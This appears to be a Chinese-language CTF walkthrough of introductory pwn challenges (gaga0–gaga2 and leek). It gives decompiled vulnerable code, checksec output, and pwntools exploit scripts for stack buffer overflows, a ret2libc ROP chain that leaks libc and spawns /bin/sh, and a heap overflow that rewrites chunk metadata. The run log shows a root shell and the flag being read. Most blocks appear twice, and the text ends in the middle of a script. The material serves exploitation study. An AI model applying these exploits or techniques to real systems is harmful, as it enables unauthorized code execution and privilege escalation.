Your input: aaa
# Canary、PIE关了,NX开了
root@870aeb6e392e:
/chal
# checksec --file=gaga0
[*]
'/chal/gaga0'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF 距离rbp有0x40的长度
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Welcome to gaga!"
);
puts
(
"This challenge is meant to guide you through an introduction to binary exploitation."
);
printf
(
"\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n"
,
win0);
printf
(
"Your input: "
);
return
gets
(v4);
// return 输入?
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF 距离rbp有0x40的长度
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Welcome to gaga!"
);
puts
(
"This challenge is meant to guide you through an introduction to binary exploitation."
);
printf
(
"\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n"
,
win0);
printf
(
"Your input: "
);
return
gets
(v4);
// return 输入?
}
int
win0()
{
char
s[136];
// [rsp+0h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+88h] [rbp-8h]
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
return
puts
(s);
}
int
win0()
{
char
s[136];
// [rsp+0h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+88h] [rbp-8h]
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
return
puts
(s);
}
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
elf
=
ELF(
"./gaga0"
)
p
=
process(
"./gaga0"
)
logsucc(
hex
(elf.symbols[
'win0'
]))
payload
=
b
'a'
*
0x48
+
p64(elf.symbols[
'win0'
])
sla(
"Your input: "
, payload)
itr()
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
elf
=
ELF(
"./gaga0"
)
p
=
process(
"./gaga0"
)
logsucc(
hex
(elf.symbols[
'win0'
]))
payload
=
b
'a'
*
0x48
+
p64(elf.symbols[
'win0'
])
sla(
"Your input: "
, payload)
itr()
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Nice!"
);
puts
(
"Now you need to call the win1 function with the correct arguments."
);
printf
(
"Your input: "
);
return
gets
(v4);
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Nice!"
);
puts
(
"Now you need to call the win1 function with the correct arguments."
);
printf
(
"Your input: "
);
return
gets
(v4);
}
void
__fastcall win1(
int
a1,
int
a2)
{
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+98h] [rbp-8h]
if
( a1 == 4919 || a2 == 16705 )
{
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
puts
(s);
}
}
void
__fastcall win1(
int
a1,
int
a2)
{
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
FILE
*stream;
// [rsp+98h] [rbp-8h]
if
( a1 == 4919 || a2 == 16705 )
{
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
puts
(s);
}
}
p
=
process(
"./gaga1"
)
#gdb.attach(p, gdbscript='b main')
payload
=
b
'a'
*
0x48
+
p64(
0x401269
)
sla(
"Your input: "
, payload)
itr()
p
=
process(
"./gaga1"
)
#gdb.attach(p, gdbscript='b main')
payload
=
b
'a'
*
0x48
+
p64(
0x401269
)
sla(
"Your input: "
, payload)
itr()
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0
/chal/gaga1
0x401000 0x402000 r-xp 1000 1000
/chal/gaga1
0x402000 0x403000 r--p 1000 2000
/chal/gaga1
0x403000 0x404000 r--p 1000 2000
/chal/gaga1
0x404000 0x405000 rw-p 1000 3000
/chal/gaga1
<---这一行选个地址
0x7fd81cbc9000 0x7fd81cbcc000 rw-p 3000 0 [anon_7fd81cbc9]
0x7fd81cbcc000 0x7fd81cbf4000 r--p 28000 0
/usr/lib/x86_64-linux-gnu/libc
.so.6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0
/chal/gaga1
0x401000 0x402000 r-xp 1000 1000
/chal/gaga1
0x402000 0x403000 r--p 1000 2000
/chal/gaga1
0x403000 0x404000 r--p 1000 2000
/chal/gaga1
0x404000 0x405000 rw-p 1000 3000
/chal/gaga1
<---这一行选个地址
0x7fd81cbc9000 0x7fd81cbcc000 rw-p 3000 0 [anon_7fd81cbc9]
0x7fd81cbcc000 0x7fd81cbf4000 r--p 28000 0
/usr/lib/x86_64-linux-gnu/libc
.so.6
p
=
process(
"./gaga1"
)
payload
=
b
'a'
*
0x40
+
p64(
0x404400
)
+
p64(
0x401269
)
sla(
"Your input: "
, payload)
itr()
p
=
process(
"./gaga1"
)
payload
=
b
'a'
*
0x40
+
p64(
0x404400
)
+
p64(
0x401269
)
sla(
"Your input: "
, payload)
itr()
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Awesome! Now there's no system(), so what will you do?!"
);
printf
(
"Your input: "
);
return
gets
(v4);
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
v4[60];
// [rsp+0h] [rbp-40h] BYREF
__gid_t rgid;
// [rsp+3Ch] [rbp-4h]
setbuf
(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"Awesome! Now there's no system(), so what will you do?!"
);
printf
(
"Your input: "
);
return
gets
(v4);
}
root@e289eaa0da06:
/chal
# checksec gaga2
[*]
'/chal/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@e289eaa0da06:
/chal
# checksec gaga2
[*]
'/chal/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
rl
=
lambda
drop
=
True
:p.recvline(drop)
rlf
=
lambda
drop
=
False
:p.recvline(drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.clear(arch
=
'amd64'
)
# 【注意1】加上架构信息,不然rop模块会把该程序当成32位程序
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
elf
=
ELF(
"./gaga2"
)
p
=
process(
"./gaga2"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
# step1: leak libc base addr
# logsucc(hex(elf.got["printf"]))
rop
=
ROP(elf)
# 创建一个 rop 对象,这时 rop 链还是空的,需要在其中添加函数
rop.puts(elf.got[
"printf"
])
# 等价于 rop.call('puts', (elf.got["printf"],))
rop.main()
# 回到main函数,那就可以再输入一次了
print
(rop.dump())
payload
=
b
'a'
*
0x48
+
rop.chain()
# rop.chain() : 返回当前的字节序列,即 payload
sla(
"Your input: "
, payload)
printf_addr
=
u64(rlf().ljust(
8
, b
"\x00"
))
# 接收puts打印出的printf函数
leak(
"printf addr"
, printf_addr)
libc_addr
=
printf_addr
-
libc.symbols[
"printf"
]
libc.address
=
libc_addr
# 将计算结果赋值给libc对象的address,这样后面算/bin/sh的地址的时候就不用再加基址了
leak(
"libc addr"
, libc.address)
# step2: rop,将main函数的ret覆盖成system("/bin/sh")
rop2
=
ROP(libc)
# find_gadget(instructions): Returns a gadget with the exact sequence of instructions specified in the instructions argument.
# raw(value): Adds a raw integer or string to the ROP chain. If your architecture requires aligned values, then make sure that any given string is aligned!
rop2.raw(rop2.find_gadget([
"ret"
]))
# 【注意2】ubuntu18开始,执行system函数需要栈对齐(16字节对齐),我先试了不加这条指令,是没有对齐的,所以这里加一条ret指令,令栈对齐
rop2.system(
next
(libc.search(b
"/bin/sh"
)))
print
(rop2.dump())
payload2
=
b
'a'
*
0x48
+
rop2.chain()
sla(
"Your input: "
, payload2)
itr()
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
rl
=
lambda
drop
=
True
:p.recvline(drop)
rlf
=
lambda
drop
=
False
:p.recvline(drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.clear(arch
=
'amd64'
)
# 【注意1】加上架构信息,不然rop模块会把该程序当成32位程序
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
elf
=
ELF(
"./gaga2"
)
p
=
process(
"./gaga2"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
# step1: leak libc base addr
# logsucc(hex(elf.got["printf"]))
rop
=
ROP(elf)
# 创建一个 rop 对象,这时 rop 链还是空的,需要在其中添加函数
rop.puts(elf.got[
"printf"
])
# 等价于 rop.call('puts', (elf.got["printf"],))
rop.main()
# 回到main函数,那就可以再输入一次了
print
(rop.dump())
payload
=
b
'a'
*
0x48
+
rop.chain()
# rop.chain() : 返回当前的字节序列,即 payload
sla(
"Your input: "
, payload)
printf_addr
=
u64(rlf().ljust(
8
, b
"\x00"
))
# 接收puts打印出的printf函数
leak(
"printf addr"
, printf_addr)
libc_addr
=
printf_addr
-
libc.symbols[
"printf"
]
libc.address
=
libc_addr
# 将计算结果赋值给libc对象的address,这样后面算/bin/sh的地址的时候就不用再加基址了
leak(
"libc addr"
, libc.address)
# step2: rop,将main函数的ret覆盖成system("/bin/sh")
rop2
=
ROP(libc)
# find_gadget(instructions): Returns a gadget with the exact sequence of instructions specified in the instructions argument.
# raw(value): Adds a raw integer or string to the ROP chain. If your architecture requires aligned values, then make sure that any given string is aligned!
rop2.raw(rop2.find_gadget([
"ret"
]))
# 【注意2】ubuntu18开始,执行system函数需要栈对齐(16字节对齐),我先试了不加这条指令,是没有对齐的,所以这里加一条ret指令,令栈对齐
rop2.system(
next
(libc.search(b
"/bin/sh"
)))
print
(rop2.dump())
payload2
=
b
'a'
*
0x48
+
rop2.chain()
sla(
"Your input: "
, payload2)
itr()
root@e289eaa0da06:
/chal
# python3 exp2.py
[*]
'/chal/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting
local
process
'./gaga2'
argv=[b
'./gaga2'
] : pid 394
[*]
'/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets
for
'./gaga2'
0x0000: 0x4012b3 pop rdi; ret
0x0008: 0x404030 [arg0] rdi = got.
printf
0x0010: 0x401094 puts
0x0018: 0x4011d6 main()
[DEBUG] Received 0x44 bytes:
b
"Awesome! Now there's no system(), so what will you do?!\n"
b
'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 61 61 61 61 b3 12 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000050 30 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │0@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x4b bytes:
00000000 70 e7 e7 9e 19 7f 0a 41 77 65 73 6f 6d 65 21 20 │p···│···A│weso│me! │
00000010 4e 6f 77 20 74 68 65 72 65 27 73 20 6e 6f 20 73 │Now │ther│e's │no s│
00000020 79 73 74 65 6d 28 29 2c 20 73 6f 20 77 68 61 74 │yste│m(),│ so │what│
00000030 20 77 69 6c 6c 20 79 6f 75 20 64 6f 3f 21 0a 59 │ wil│l yo│u
do
│?!·Y│
00000040 6f 75 72 20 69 6e 70 75 74 3a 20 │our │inpu│t: │
0000004b
[+]
printf
addr = 0x7f199ee7e770
[+] libc addr = 0x7f199ee1e000
[*] Loaded 218 cached gadgets
for
'/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7f199ee47cd6 ret
0x0008: 0x7f199ee483e5 pop rdi; ret
0x0010: 0x7f199eff6698 [arg0] rdi = 139748018448024
0x0018: 0x7f199ee6ed60 system
[DEBUG] Sent 0x69 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 61 61 61 61 d6 7c e4 9e 19 7f 00 00 │aaaa│aaaa│·|··│····│
00000050 e5 83 e4 9e 19 7f 00 00 98 66 ff 9e 19 7f 00 00 │····│····│·f··│····│
00000060 60 ed e6 9e 19 7f 00 00 0a │`···│····│·│
00000069
[*] Switching to interactive mode
$
id
[DEBUG] Sent 0x3 bytes:
b
'id\n'
[DEBUG] Received 0x27 bytes:
b
'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root)
groups
=0(root)
$
cat
flag.txt
[DEBUG] Sent 0xd bytes:
b
'cat flag.txt\n'
[DEBUG] Received 0x11 bytes:
b
'flag{aaaaaaaaaa}\n'
flag{aaaaaaaaaa}
$
root@e289eaa0da06:
/chal
# python3 exp2.py
[*]
'/chal/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting
local
process
'./gaga2'
argv=[b
'./gaga2'
] : pid 394
[*]
'/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets
for
'./gaga2'
0x0000: 0x4012b3 pop rdi; ret
0x0008: 0x404030 [arg0] rdi = got.
printf
0x0010: 0x401094 puts
0x0018: 0x4011d6 main()
[DEBUG] Received 0x44 bytes:
b
"Awesome! Now there's no system(), so what will you do?!\n"
b
'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 61 61 61 61 b3 12 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000050 30 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │0@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x4b bytes:
00000000 70 e7 e7 9e 19 7f 0a 41 77 65 73 6f 6d 65 21 20 │p···│···A│weso│me! │
00000010 4e 6f 77 20 74 68 65 72 65 27 73 20 6e 6f 20 73 │Now │ther│e's │no s│
00000020 79 73 74 65 6d 28 29 2c 20 73 6f 20 77 68 61 74 │yste│m(),│ so │what│
00000030 20 77 69 6c 6c 20 79 6f 75 20 64 6f 3f 21 0a 59 │ wil│l yo│u
do
│?!·Y│
00000040 6f 75 72 20 69 6e 70 75 74 3a 20 │our │inpu│t: │
0000004b
[+]
printf
addr = 0x7f199ee7e770
[+] libc addr = 0x7f199ee1e000
[*] Loaded 218 cached gadgets
for
'/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7f199ee47cd6 ret
0x0008: 0x7f199ee483e5 pop rdi; ret
0x0010: 0x7f199eff6698 [arg0] rdi = 139748018448024
0x0018: 0x7f199ee6ed60 system
[DEBUG] Sent 0x69 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 61 61 61 61 d6 7c e4 9e 19 7f 00 00 │aaaa│aaaa│·|··│····│
00000050 e5 83 e4 9e 19 7f 00 00 98 66 ff 9e 19 7f 00 00 │····│····│·f··│····│
00000060 60 ed e6 9e 19 7f 00 00 0a │`···│····│·│
00000069
[*] Switching to interactive mode
$
id
[DEBUG] Sent 0x3 bytes:
b
'id\n'
[DEBUG] Received 0x27 bytes:
b
'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root)
groups
=0(root)
$
cat
flag.txt
[DEBUG] Sent 0xd bytes:
b
'cat flag.txt\n'
[DEBUG] Received 0x11 bytes:
b
'flag{aaaaaaaaaa}\n'
flag{aaaaaaaaaa}
$
sla(
"Your input: "
, cyclic(
0x100
))
sla(
"Your input: "
, cyclic(
0x100
))
offset
=
cyclic_find(
"saaa"
)
logsucc(
hex
(offset))
offset
=
cyclic_find(
"saaa"
)
logsucc(
hex
(offset))
root@870aeb6e392e:
/chal
# python3 exp0.py
......
[+] 0x48
......
root@870aeb6e392e:
/chal
# python3 exp0.py
......
[+] 0x48
......
root@3d0b9610b107:
/chal
# ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): hello
:skull::skull::skull: bro really said: hello
So? What's my secret? aaa
Wrong!
root@3d0b9610b107:
/chal
# checksec leek
[*]
'/chal/leek'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@3d0b9610b107:
/chal
# ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): hello
:skull::skull::skull: bro really said: hello
So? What's my secret? aaa
Wrong!
root@3d0b9610b107:
/chal
# checksec leek
[*]
'/chal/leek'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
unsigned
int
v3;
// eax
int
i;
// [rsp+0h] [rbp-50h]
int
j;
// [rsp+4h] [rbp-4Ch]
__gid_t rgid;
// [rsp+8h] [rbp-48h]
char
*v9;
// [rsp+10h] [rbp-40h]
void
*s;
// [rsp+18h] [rbp-38h]
char
s2[40];
// [rsp+20h] [rbp-30h] BYREF
unsigned
__int64
v12;
// [rsp+48h] [rbp-8h]
v12 = __readfsqword(0x28u);
v3 =
time
(0LL);
srand
(v3);
setbuf
(stdout, 0LL);
setbuf
(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"I dare you to leek my secret."
);
for
( i = 0; i < N; ++i )
// 【12】循环100次
{
v9 = (
char
*)
malloc
(0x10uLL);
s =
malloc
(0x20uLL);
// 【4】s是分配的堆块
memset
(s, 0, 0x20uLL);
getrandom(s, 32LL, 0LL);
// 【5】s填充为随机数
for
( j = 0; j <= 31; ++j )
{
if
( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )
// 【6】如果s中有NULL或者回车符,则将其替换为数字1
*((_BYTE *)s + j) = 1;
}
printf
(
"Your input (NO STACK BUFFER OVERFLOWS!!): "
);
input(v9);
// 【7】v9是内容大小为0x10的chunk,然后传入input函数存储输入
printf
(
":skull::skull::skull: bro really said: "
);
puts
(v9);
// 【10】打印v9
printf
(
"So? What's my secret? "
);
fgets
(s2, 33, stdin);
// 【3】s2是输入(0x21 Byte)
if
(
strncmp
((
const
char
*)s, s2, 0x20uLL) )
// 【2】要让s和s2的前0x20字节相等
{
puts
(
"Wrong!"
);
// 【1】不能让程序走到这里
exit
(-1);
}
puts
(
"Okay, I'll give you a reward for guessing it."
);
printf
(
"Say what you want: "
);
gets
(v9);
// 【11】再次往v9输入,也可以溢出
puts
(
"Hmm... I changed my mind."
);
free
(s);
free
(v9);
puts
(
"Next round!"
);
}
puts
(
"Looks like you made it through."
);
win();
return
v12 - __readfsqword(0x28u);
}
int
__cdecl main(
int
argc,
const
char
**argv,
const
char
**envp)
{
unsigned
int
v3;
// eax
int
i;
// [rsp+0h] [rbp-50h]
int
j;
// [rsp+4h] [rbp-4Ch]
__gid_t rgid;
// [rsp+8h] [rbp-48h]
char
*v9;
// [rsp+10h] [rbp-40h]
void
*s;
// [rsp+18h] [rbp-38h]
char
s2[40];
// [rsp+20h] [rbp-30h] BYREF
unsigned
__int64
v12;
// [rsp+48h] [rbp-8h]
v12 = __readfsqword(0x28u);
v3 =
time
(0LL);
srand
(v3);
setbuf
(stdout, 0LL);
setbuf
(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts
(
"I dare you to leek my secret."
);
for
( i = 0; i < N; ++i )
// 【12】循环100次
{
v9 = (
char
*)
malloc
(0x10uLL);
s =
malloc
(0x20uLL);
// 【4】s是分配的堆块
memset
(s, 0, 0x20uLL);
getrandom(s, 32LL, 0LL);
// 【5】s填充为随机数
for
( j = 0; j <= 31; ++j )
{
if
( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )
// 【6】如果s中有NULL或者回车符,则将其替换为数字1
*((_BYTE *)s + j) = 1;
}
printf
(
"Your input (NO STACK BUFFER OVERFLOWS!!): "
);
input(v9);
// 【7】v9是内容大小为0x10的chunk,然后传入input函数存储输入
printf
(
":skull::skull::skull: bro really said: "
);
puts
(v9);
// 【10】打印v9
printf
(
"So? What's my secret? "
);
fgets
(s2, 33, stdin);
// 【3】s2是输入(0x21 Byte)
if
(
strncmp
((
const
char
*)s, s2, 0x20uLL) )
// 【2】要让s和s2的前0x20字节相等
{
puts
(
"Wrong!"
);
// 【1】不能让程序走到这里
exit
(-1);
}
puts
(
"Okay, I'll give you a reward for guessing it."
);
printf
(
"Say what you want: "
);
gets
(v9);
// 【11】再次往v9输入,也可以溢出
puts
(
"Hmm... I changed my mind."
);
free
(s);
free
(v9);
puts
(
"Next round!"
);
}
puts
(
"Looks like you made it through."
);
win();
return
v12 - __readfsqword(0x28u);
}
unsigned
__int64
__fastcall input(
void
*input_buffer1)
{
size_t
v1;
// rax
char
s[1288];
// [rsp+10h] [rbp-510h] BYREF
unsigned
__int64
v4;
// [rsp+518h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets
(s, 1280, stdin);
// 【8】往1288大小的s中输入数据
v1 =
strlen
(s);
memcpy
(input_buffer1, s, v1);
// 【9】将输入拷贝到传入的input_buffer中,也就是main函数中的v9,这会导致v9堆溢出
return
v4 - __readfsqword(0x28u);
}
unsigned
__int64
__fastcall input(
void
*input_buffer1)
{
size_t
v1;
// rax
char
s[1288];
// [rsp+10h] [rbp-510h] BYREF
unsigned
__int64
v4;
// [rsp+518h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets
(s, 1280, stdin);
// 【8】往1288大小的s中输入数据
v1 =
strlen
(s);
memcpy
(input_buffer1, s, v1);
// 【9】将输入拷贝到传入的input_buffer中,也就是main函数中的v9,这会导致v9堆溢出
return
v4 - __readfsqword(0x28u);
}
unsigned
__int64
win()
{
FILE
*stream;
// [rsp+8h] [rbp-98h]
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
unsigned
__int64
v3;
// [rsp+98h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
puts
(s);
return
v3 - __readfsqword(0x28u);
}
unsigned
__int64
win()
{
FILE
*stream;
// [rsp+8h] [rbp-98h]
char
s[136];
// [rsp+10h] [rbp-90h] BYREF
unsigned
__int64
v3;
// [rsp+98h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream =
fopen
(
"flag.txt"
,
"r"
);
if
( !stream )
{
puts
(
"Error: missing flag.txt."
);
exit
(1);
}
fgets
(s, 128, stream);
puts
(s);
return
v3 - __readfsqword(0x28u);
}
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
rl
=
lambda
drop
=
True
:p.recvline(drop)
rlf
=
lambda
drop
=
False
:p.recvline(drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.clear(arch
=
'amd64'
)
# 【注意1】加上架构信息,不然rop模块会把该程序当成32位程序
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
def
dbg():
gdb.attach(p)
# pause()
elf
=
ELF(
"./leek"
)
p
=
process(
"./leek"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
for
i
in
range
(
100
):
# method1
payload
=
b
'a'
*
(
0x20
)
+
b
'z'
*
0x20
sla(
"): "
, payload)
# dbg()
# 下面这里不能使用sla,而需要使用sa。
# 如果用sla,那么输入的字符串长度就是0x22了,即最后两个字符是\n\x00,把前0x21个字符给s2后,缓冲区里还剩1个\x00
# 那么后面执行gets(v9)的时候,从stdin输入的第一个字符就是\x00,那就不能再修复chunk 的size字段了
sa(
"secret? "
, b
'z'
*
0x20
)
sla(
"want: "
,b
'a'
*
0x18
+
p64(
0x31
))
# method2
# payload = b'a'*(0x20-1) # 减1是留空间给\n,这样刚好填满chunk s的prev_size和size字段
# sla("): ", payload)
# ru("\n") # 接收刚刚输入的内容
# leak = r(0x20) # 接收chunk s中的随机数
# print(leak)
# sa("secret? ", leak)
# sla("want: ", b'b'*0x18 + p64(0x31))
itr()
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
